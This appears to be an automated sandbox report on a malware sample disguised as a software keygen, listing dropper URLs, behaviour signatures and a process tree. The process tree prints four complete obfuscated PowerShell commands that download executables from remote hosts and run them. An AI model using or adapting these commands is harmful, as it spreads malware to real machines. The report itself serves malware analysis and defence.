3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
14s
max time network
163s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1480 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2648 timeout.exe
1292 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

3000 powershell.exe
2264 powershell.exe
3004 powershell.exe
2852 powershell.exe

pid	process
1480	Keygen.exe

pid	process
2648	timeout.exe
1292	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

pid	process
3000	powershell.exe
2264	powershell.exe
3004	powershell.exe
2852	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1480 Keygen.exe

pid	process
1480	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (30) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3676 wrote to memory of 876	3676	Keygen — копия (30) — копия.exe	cmd.exe
PID 3676 wrote to memory of 876	3676	Keygen — копия (30) — копия.exe	cmd.exe
PID 3676 wrote to memory of 876	3676	Keygen — копия (30) — копия.exe	cmd.exe
PID 876 wrote to memory of 1480	876	cmd.exe	Keygen.exe
PID 876 wrote to memory of 1480	876	cmd.exe	Keygen.exe
PID 876 wrote to memory of 1480	876	cmd.exe	Keygen.exe
PID 876 wrote to memory of 1756	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1756	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1756	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1612	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1612	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1612	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 2648	876	cmd.exe	timeout.exe
PID 876 wrote to memory of 2648	876	cmd.exe	timeout.exe
PID 876 wrote to memory of 2648	876	cmd.exe	timeout.exe
PID 876 wrote to memory of 2580	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 2580	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 2580	876	cmd.exe	mshta.exe
PID 1756 wrote to memory of 2852	1756	mshta.exe	powershell.exe
PID 1756 wrote to memory of 2852	1756	mshta.exe	powershell.exe
PID 1756 wrote to memory of 2852	1756	mshta.exe	powershell.exe
PID 1612 wrote to memory of 3004	1612	mshta.exe	powershell.exe
PID 1612 wrote to memory of 3004	1612	mshta.exe	powershell.exe
PID 1612 wrote to memory of 3004	1612	mshta.exe	powershell.exe
PID 2580 wrote to memory of 2264	2580	mshta.exe	powershell.exe
PID 2580 wrote to memory of 2264	2580	mshta.exe	powershell.exe
PID 2580 wrote to memory of 2264	2580	mshta.exe	powershell.exe
PID 876 wrote to memory of 1260	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1260	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1260	876	cmd.exe	mshta.exe
PID 876 wrote to memory of 1292	876	cmd.exe	timeout.exe
PID 876 wrote to memory of 1292	876	cmd.exe	timeout.exe
PID 876 wrote to memory of 1292	876	cmd.exe	timeout.exe
PID 1260 wrote to memory of 3000	1260	mshta.exe	powershell.exe
PID 1260 wrote to memory of 3000	1260	mshta.exe	powershell.exe
PID 1260 wrote to memory of 3000	1260	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\29E4.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (30) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:876

C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1480

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2648

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\start.bat

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memory/876-0-0x0000000000000000-mapping.dmp

Download
memory/1260-18-0x0000000000000000-mapping.dmp

Download
memory/1292-19-0x0000000000000000-mapping.dmp

Download
memory/1480-3-0x0000000000000000-mapping.dmp

Download
memory/1480-2-0x0000000000000000-mapping.dmp

Download
memory/1612-9-0x0000000000000000-mapping.dmp

Download
memory/1756-7-0x0000000000000000-mapping.dmp

Download
memory/2264-20-0x00000000708F0000-0x0000000070FDE000-memory.dmp

Filesize
6.9MB

Download
memory/2264-26-0x00000000075B0000-0x00000000075B1000-memory.dmp

Filesize
4KB

Download
memory/2264-16-0x0000000000000000-mapping.dmp

Download
memory/2264-24-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/2580-13-0x0000000000000000-mapping.dmp

Download
memory/2648-10-0x0000000000000000-mapping.dmp

Download
memory/2852-14-0x0000000000000000-mapping.dmp

Download
memory/2852-21-0x00000000708F0000-0x0000000070FDE000-memory.dmp

Filesize
6.9MB

Download
memory/3000-23-0x0000000000000000-mapping.dmp

Download
memory/3000-27-0x00000000708F0000-0x0000000070FDE000-memory.dmp

Filesize
6.9MB

Download
memory/3004-22-0x00000000708F0000-0x0000000070FDE000-memory.dmp

Filesize
6.9MB

Download
memory/3004-15-0x0000000000000000-mapping.dmp

Download
memory/3004-31-0x0000000006AC0000-0x0000000006AC1000-memory.dmp

Filesize
4KB

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